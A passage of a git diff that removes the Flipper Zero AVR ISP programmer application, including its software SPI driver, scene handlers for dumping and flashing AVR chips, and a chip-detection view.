&gpio_ext_pb3 -#define AVR_ISP_RESET &gpio_ext_pb2 - -struct AvrIspSpiSw { - AvrIspSpiSwSpeed speed_wait_time; - const GpioPin* miso; - const GpioPin* mosi; - const GpioPin* sck; - const GpioPin* res; -}; - -AvrIspSpiSw* avr_isp_spi_sw_init(AvrIspSpiSwSpeed speed) { - AvrIspSpiSw* instance = malloc(sizeof(AvrIspSpiSw)); - instance->speed_wait_time = speed; - instance->miso = AVR_ISP_SPI_SW_MISO; - instance->mosi = AVR_ISP_SPI_SW_MOSI; - instance->sck = AVR_ISP_SPI_SW_SCK; - instance->res = AVR_ISP_RESET; - - furi_hal_gpio_init(instance->miso, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(instance->mosi, false); - furi_hal_gpio_init(instance->mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(instance->sck, false); - furi_hal_gpio_init(instance->sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(instance->res, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - - return instance; -} - -void avr_isp_spi_sw_free(AvrIspSpiSw* instance) { - furi_assert(instance); - furi_hal_gpio_init(instance->res, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(instance->miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(instance->mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(instance->sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - free(instance); -} - -uint8_t avr_isp_spi_sw_txrx(AvrIspSpiSw* instance, uint8_t data) { - furi_assert(instance); - for(uint8_t i = 0; i < 8; ++i) { - furi_hal_gpio_write(instance->mosi, (data & 0x80) ? true : false); - - furi_hal_gpio_write(instance->sck, true); - if(instance->speed_wait_time != AvrIspSpiSwSpeed1Mhz) - furi_delay_us(instance->speed_wait_time - 1); - - data = (data << 1) | furi_hal_gpio_read(instance->miso); //-V792 - - furi_hal_gpio_write(instance->sck, false); - if(instance->speed_wait_time != AvrIspSpiSwSpeed1Mhz) - furi_delay_us(instance->speed_wait_time - 1); - } - return data; -} - -void avr_isp_spi_sw_res_set(AvrIspSpiSw* instance, bool state) { - furi_assert(instance); - furi_hal_gpio_write(instance->res, state); -} - -void avr_isp_spi_sw_sck_set(AvrIspSpiSw* instance, bool state) { - furi_assert(instance); - furi_hal_gpio_write(instance->sck, state); -} \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.h b/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.h deleted file mode 100644 index 44de5ff79..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -#include - -typedef enum { - AvrIspSpiSwSpeed1Mhz = 0, - AvrIspSpiSwSpeed400Khz = 1, - AvrIspSpiSwSpeed250Khz = 2, - AvrIspSpiSwSpeed125Khz = 4, - AvrIspSpiSwSpeed60Khz = 8, - AvrIspSpiSwSpeed40Khz = 12, - AvrIspSpiSwSpeed20Khz = 24, - AvrIspSpiSwSpeed10Khz = 48, - AvrIspSpiSwSpeed5Khz = 96, - AvrIspSpiSwSpeed1Khz = 480, -} AvrIspSpiSwSpeed; - -typedef struct AvrIspSpiSw AvrIspSpiSw; - -AvrIspSpiSw* avr_isp_spi_sw_init(AvrIspSpiSwSpeed speed); -void avr_isp_spi_sw_free(AvrIspSpiSw* instance); -uint8_t avr_isp_spi_sw_txrx(AvrIspSpiSw* instance, uint8_t data); -void avr_isp_spi_sw_res_set(AvrIspSpiSw* instance, bool state); -void avr_isp_spi_sw_sck_set(AvrIspSpiSw* instance, bool state); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/lib/driver/clock.png b/applications/external/avr_isp_programmer/lib/driver/clock.png deleted file mode 100644 index 93a59fe68..000000000 Binary files a/applications/external/avr_isp_programmer/lib/driver/clock.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene.c deleted file mode 100644 index 4af125aee..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "../avr_isp_app_i.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const avr_isp_scene_on_enter_handlers[])(void*) = { -#include "avr_isp_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const avr_isp_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "avr_isp_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const avr_isp_scene_on_exit_handlers[])(void* context) = { -#include "avr_isp_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers avr_isp_scene_handlers = { - .on_enter_handlers = avr_isp_scene_on_enter_handlers, - .on_event_handlers = avr_isp_scene_on_event_handlers, - .on_exit_handlers = avr_isp_scene_on_exit_handlers, - .scene_num = AvrIspSceneNum, -}; diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene.h b/applications/external/avr_isp_programmer/scenes/avr_isp_scene.h deleted file mode 100644 index 658ee7432..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) AvrIspScene##id, -typedef enum { -#include "avr_isp_scene_config.h" - AvrIspSceneNum, -} AvrIspScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers avr_isp_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "avr_isp_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "avr_isp_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "avr_isp_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_about.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_about.c deleted file mode 100644 index e5f530fec..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_about.c +++ /dev/null @@ -1,99 +0,0 @@ -#include "../avr_isp_app_i.h" -#include "../helpers/avr_isp_types.h" - -void avr_isp_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void avr_isp_scene_about_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - FuriString* temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", AVR_ISP_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by: %s\n", AVR_ISP_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", AVR_ISP_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, - "This application is an AVR in-system programmer based on stk500mk1. It is compatible with AVR-based" - " microcontrollers including Arduino. You can also use it to repair the chip if you accidentally" - " corrupt the bootloader.\n\n"); - - furi_string_cat_printf(temp_str, "\e#%s\n", "What it can do:"); - furi_string_cat_printf(temp_str, "- Create a dump of your chip on an SD card\n"); - furi_string_cat_printf(temp_str, "- Flash your chip firmware from the SD card\n"); - furi_string_cat_printf(temp_str, "- Act as a wired USB ISP using avrdude software\n\n"); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Supported chip series:"); - furi_string_cat_printf( - temp_str, - "Example command for avrdude flashing: avrdude.exe -p m328p -c stk500v1 -P COMxx -U flash:r:" - "X:\\sketch_sample.hex" - ":i\n"); - furi_string_cat_printf( - temp_str, - "Where: " - "-p m328p" - " brand of your chip, " - "-P COMxx" - " com port number in the system when " - "ISP Programmer" - " is enabled\n\n"); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Info"); - furi_string_cat_printf( - temp_str, - "ATtinyXXXX\nATmegaXXXX\nAT43Uxxx\nAT76C711\nAT86RF401\nAT90xxxxx\nAT94K\n" - "ATAxxxxx\nATA664251\nM3000\nLGT8F88P\nLGT8F168P\nLGT8F328P\n"); - - furi_string_cat_printf( - temp_str, "For a more detailed list of supported chips, see AVRDude help\n"); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! ISP Programmer \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewWidget); -} - -bool avr_isp_scene_about_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void avr_isp_scene_about_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_chip_detect.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_chip_detect.c deleted file mode 100644 index 79c239390..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_chip_detect.c +++ /dev/null @@ -1,72 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_chip_detect_callback(AvrIspCustomEvent event, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void avr_isp_scene_chip_detect_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - switch(app->error) { - case AvrIspErrorReading: - case AvrIspErrorWriting: - case AvrIspErrorWritingFuse: - avr_isp_chip_detect_set_state( - app->avr_isp_chip_detect_view, AvrIspChipDetectViewStateErrorOccured); - break; - case AvrIspErrorVerification: - avr_isp_chip_detect_set_state( - app->avr_isp_chip_detect_view, AvrIspChipDetectViewStateErrorVerification); - break; - - default: - avr_isp_chip_detect_set_state( - app->avr_isp_chip_detect_view, AvrIspChipDetectViewStateNoDetect); - break; - } - app->error = AvrIspErrorNoError; - avr_isp_chip_detect_view_set_callback( - app->avr_isp_chip_detect_view, avr_isp_scene_chip_detect_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewChipDetect); -} - -bool avr_isp_scene_chip_detect_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case AvrIspCustomEventSceneChipDetectOk: - - if(scene_manager_get_scene_state(app->scene_manager, AvrIspSceneChipDetect) == - AvrIspViewProgrammer) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneProgrammer); - } else if( - scene_manager_get_scene_state(app->scene_manager, AvrIspSceneChipDetect) == - AvrIspViewReader) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneInputName); - } else if( - scene_manager_get_scene_state(app->scene_manager, AvrIspSceneChipDetect) == - AvrIspViewWriter) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneLoad); - } - - consumed = true; - break; - default: - break; - } - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -void avr_isp_scene_chip_detect_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_config.h b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_config.h deleted file mode 100644 index 6f22511db..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_config.h +++ /dev/null @@ -1,10 +0,0 @@ -ADD_SCENE(avr_isp, start, Start) -ADD_SCENE(avr_isp, about, About) -ADD_SCENE(avr_isp, programmer, Programmer) -ADD_SCENE(avr_isp, reader, Reader) -ADD_SCENE(avr_isp, input_name, InputName) -ADD_SCENE(avr_isp, load, Load) -ADD_SCENE(avr_isp, writer, Writer) -ADD_SCENE(avr_isp, wiring, Wiring) -ADD_SCENE(avr_isp, chip_detect, ChipDetect) -ADD_SCENE(avr_isp, success, Success) diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_input_name.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_input_name.c deleted file mode 100644 index 3394f4362..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_input_name.c +++ /dev/null @@ -1,89 +0,0 @@ -#include "../avr_isp_app_i.h" -#include - -#define MAX_TEXT_INPUT_LEN 22 - -void avr_isp_scene_input_name_text_callback(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, AvrIspCustomEventSceneInputName); -} - -void avr_isp_scene_input_name_get_timefilename(FuriString* name) { - FuriHalRtcDateTime datetime = {0}; - furi_hal_rtc_get_datetime(&datetime); - furi_string_printf( - name, - "AVR_dump-%.4d%.2d%.2d-%.2d%.2d%.2d", - datetime.year, - datetime.month, - datetime.day, - datetime.hour, - datetime.minute, - datetime.second); -} - -void avr_isp_scene_input_name_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - // Setup view - TextInput* text_input = app->text_input; - bool dev_name_empty = false; - - FuriString* file_name = furi_string_alloc(); - - avr_isp_scene_input_name_get_timefilename(file_name); - furi_string_set(app->file_path, STORAGE_APP_DATA_PATH_PREFIX); - //highlighting the entire filename by default - dev_name_empty = true; - - strncpy(app->file_name_tmp, furi_string_get_cstr(file_name), AVR_ISP_MAX_LEN_NAME); - text_input_set_header_text(text_input, "Name dump"); - text_input_set_result_callback( - text_input, - avr_isp_scene_input_name_text_callback, - app, - app->file_name_tmp, - MAX_TEXT_INPUT_LEN, // buffer size - dev_name_empty); - - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(STORAGE_APP_DATA_PATH_PREFIX, AVR_ISP_APP_EXTENSION, ""); - text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - furi_string_free(file_name); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewTextInput); -} - -bool avr_isp_scene_input_name_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - if(event.type == SceneManagerEventTypeBack) { - scene_manager_previous_scene(app->scene_manager); - return true; - } else if(event.type == SceneManagerEventTypeCustom) { - if(event.event == AvrIspCustomEventSceneInputName) { - if(strcmp(app->file_name_tmp, "") != 0) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneReader); - } else { - } - } - } - return false; -} - -void avr_isp_scene_input_name_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - // Clear validator - void* validator_context = text_input_get_validator_callback_context(app->text_input); - text_input_set_validator(app->text_input, NULL, NULL); - validator_is_file_free(validator_context); - // Clear view - text_input_reset(app->text_input); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_load.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_load.c deleted file mode 100644 index e8890e373..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_load.c +++ /dev/null @@ -1,22 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_load_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - if(avr_isp_load_from_file(app)) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneWriter); - } else { - scene_manager_previous_scene(app->scene_manager); - } -} - -bool avr_isp_scene_load_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void avr_isp_scene_load_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_programmer.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_programmer.c deleted file mode 100644 index 0915e1e8a..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_programmer.c +++ /dev/null @@ -1,28 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_programmer_callback(AvrIspCustomEvent event, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void avr_isp_scene_programmer_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - avr_isp_programmer_view_set_callback( - app->avr_isp_programmer_view, avr_isp_scene_programmer_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewProgrammer); -} - -bool avr_isp_scene_programmer_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void avr_isp_scene_programmer_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_reader.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_reader.c deleted file mode 100644 index 8dcb47597..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_reader.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_reader_callback(AvrIspCustomEvent event, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void avr_isp_scene_reader_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - avr_isp_reader_set_file_path( - app->avr_isp_reader_view, furi_string_get_cstr(app->file_path), app->file_name_tmp); - avr_isp_reader_view_set_callback(app->avr_isp_reader_view, avr_isp_scene_reader_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewReader); -} - -bool avr_isp_scene_reader_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - UNUSED(app); - bool consumed = false; - if(event.type == SceneManagerEventTypeBack) { - //do not handle exit on "Back" - consumed = true; - } else if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case AvrIspCustomEventSceneReadingOk: - scene_manager_next_scene(app->scene_manager, AvrIspSceneSuccess); - consumed = true; - break; - case AvrIspCustomEventSceneExit: - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorVerification: - app->error = AvrIspErrorVerification; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorReading: - app->error = AvrIspErrorReading; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - default: - break; - } - } else if(event.type == SceneManagerEventTypeTick) { - avr_isp_reader_update_progress(app->avr_isp_reader_view); - } - return consumed; -} - -void avr_isp_scene_reader_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_start.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_start.c deleted file mode 100644 index b00bfefce..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_start.c +++ /dev/null @@ -1,75 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_start_submenu_callback(void* context, uint32_t index) { - furi_assert(context); - AvrIspApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void avr_isp_scene_start_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - Submenu* submenu = app->submenu; - submenu_add_item( - submenu, "Dump AVR", SubmenuIndexAvrIspReader, avr_isp_scene_start_submenu_callback, app); - submenu_add_item( - submenu, "Flash AVR", SubmenuIndexAvrIspWriter, avr_isp_scene_start_submenu_callback, app); - submenu_add_item( - submenu, - "ISP Programmer", - SubmenuIndexAvrIspProgrammer, - avr_isp_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, "Wiring", SubmenuIndexAvrIsWiring, avr_isp_scene_start_submenu_callback, app); - submenu_add_item( - submenu, "About", SubmenuIndexAvrIspAbout, avr_isp_scene_start_submenu_callback, app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, AvrIspSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewSubmenu); -} - -bool avr_isp_scene_start_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexAvrIspAbout) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneAbout); - consumed = true; - } else if(event.event == SubmenuIndexAvrIspProgrammer) { - scene_manager_set_scene_state( - app->scene_manager, AvrIspSceneChipDetect, AvrIspViewProgrammer); - scene_manager_next_scene(app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - } else if(event.event == SubmenuIndexAvrIspReader) { - scene_manager_set_scene_state( - app->scene_manager, AvrIspSceneChipDetect, AvrIspViewReader); - scene_manager_next_scene(app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - } else if(event.event == SubmenuIndexAvrIspWriter) { - scene_manager_set_scene_state( - app->scene_manager, AvrIspSceneChipDetect, AvrIspViewWriter); - scene_manager_next_scene(app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - } else if(event.event == SubmenuIndexAvrIsWiring) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneWiring); - consumed = true; - } - scene_manager_set_scene_state(app->scene_manager, AvrIspSceneStart, event.event); - } - - return consumed; -} - -void avr_isp_scene_start_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_success.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_success.c deleted file mode 100644 index a88ed28aa..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_success.c +++ /dev/null @@ -1,44 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_success_popup_callback(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, AvrIspCustomEventSceneSuccess); -} - -void avr_isp_scene_success_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - Popup* popup = app->popup; - popup_set_icon(popup, 32, 5, &I_dolphin_nice_96x59); - popup_set_header(popup, "Success!", 8, 22, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, app); - popup_set_callback(popup, avr_isp_scene_success_popup_callback); - popup_enable_timeout(popup); - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewPopup); -} - -bool avr_isp_scene_success_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == AvrIspCustomEventSceneSuccess) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneStart); - return true; - } - } - return false; -} - -void avr_isp_scene_success_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - Popup* popup = app->popup; - popup_reset(popup); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_wiring.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_wiring.c deleted file mode 100644 index 787ed5673..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_wiring.c +++ /dev/null @@ -1,21 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_wiring_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - widget_add_icon_element(app->widget, 0, 0, &I_avr_wiring); - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewWidget); -} - -bool avr_isp_scene_wiring_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} -void avr_isp_scene_wiring_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_writer.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_writer.c deleted file mode 100644 index 39c944fd5..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_writer.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_writer_callback(AvrIspCustomEvent event, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void avr_isp_scene_writer_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - avr_isp_writer_set_file_path( - app->avr_isp_writer_view, furi_string_get_cstr(app->file_path), app->file_name_tmp); - avr_isp_writer_view_set_callback(app->avr_isp_writer_view, avr_isp_scene_writer_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewWriter); -} - -bool avr_isp_scene_writer_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeBack) { - //do not handle exit on "Back" - consumed = true; - } else if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case AvrIspCustomEventSceneExitStartMenu: - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneStart); - consumed = true; - break; - case AvrIspCustomEventSceneExit: - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorVerification: - app->error = AvrIspErrorVerification; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorWriting: - app->error = AvrIspErrorWriting; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - case AvrIspCustomEventSceneErrorWritingFuse: - app->error = AvrIspErrorWritingFuse; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, AvrIspSceneChipDetect); - consumed = true; - break; - default: - break; - } - } else if(event.type == SceneManagerEventTypeTick) { - avr_isp_writer_update_progress(app->avr_isp_writer_view); - } - return consumed; -} - -void avr_isp_scene_writer_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.c b/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.c deleted file mode 100644 index fdcf71c36..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.c +++ /dev/null @@ -1,213 +0,0 @@ -#include "avr_isp_view_chip_detect.h" -#include -#include - -#include "../helpers/avr_isp_worker_rw.h" - -struct AvrIspChipDetectView { - View* view; - AvrIspWorkerRW* avr_isp_worker_rw; - AvrIspChipDetectViewCallback callback; - void* context; -}; - -typedef struct { - uint16_t idx; - const char* name_chip; - uint32_t flash_size; - AvrIspChipDetectViewState state; -} AvrIspChipDetectViewModel; - -void avr_isp_chip_detect_view_set_callback( - AvrIspChipDetectView* instance, - AvrIspChipDetectViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_chip_detect_set_state(AvrIspChipDetectView* instance, AvrIspChipDetectViewState state) { - furi_assert(instance); - - with_view_model( - instance->view, AvrIspChipDetectViewModel * model, { model->state = state; }, true); -} - -void avr_isp_chip_detect_view_draw(Canvas* canvas, AvrIspChipDetectViewModel* model) { - canvas_clear(canvas); - - char str_buf[64] = {0}; - canvas_set_font(canvas, FontPrimary); - - switch(model->state) { - case AvrIspChipDetectViewStateDetected: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "AVR chip detected!"); - canvas_draw_icon(canvas, 29, 14, &I_chip_long_70x22); - canvas_set_font(canvas, FontSecondary); - snprintf(str_buf, sizeof(str_buf), "%ld Kb", model->flash_size / 1024); - canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignCenter, str_buf); - canvas_draw_str_aligned(canvas, 64, 45, AlignCenter, AlignCenter, model->name_chip); - elements_button_right(canvas, "Next"); - break; - case AvrIspChipDetectViewStateErrorOccured: - canvas_draw_str_aligned( - canvas, 64, 5, AlignCenter, AlignCenter, "Error occured, try again!"); - canvas_draw_icon(canvas, 29, 14, &I_chip_error_70x22); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 45, AlignCenter, AlignCenter, "Check the wiring and retry"); - break; - case AvrIspChipDetectViewStateErrorVerification: - canvas_draw_str_aligned( - canvas, 64, 5, AlignCenter, AlignCenter, "Data verification failed"); - canvas_draw_icon(canvas, 29, 14, &I_chip_error_70x22); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 45, AlignCenter, AlignCenter, "Try to restart the process"); - break; - - default: - //AvrIspChipDetectViewStateNoDetect - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "AVR chip not found!"); - canvas_draw_icon(canvas, 29, 12, &I_chif_not_found_83x37); - - break; - } - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "Retry"); -} - -bool avr_isp_chip_detect_view_input(InputEvent* event, void* context) { - furi_assert(context); - - AvrIspChipDetectView* instance = context; - - if(event->type == InputTypeShort) { - if(event->key == InputKeyBack) { - return false; - } else if(event->key == InputKeyRight) { - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { - if(model->state == 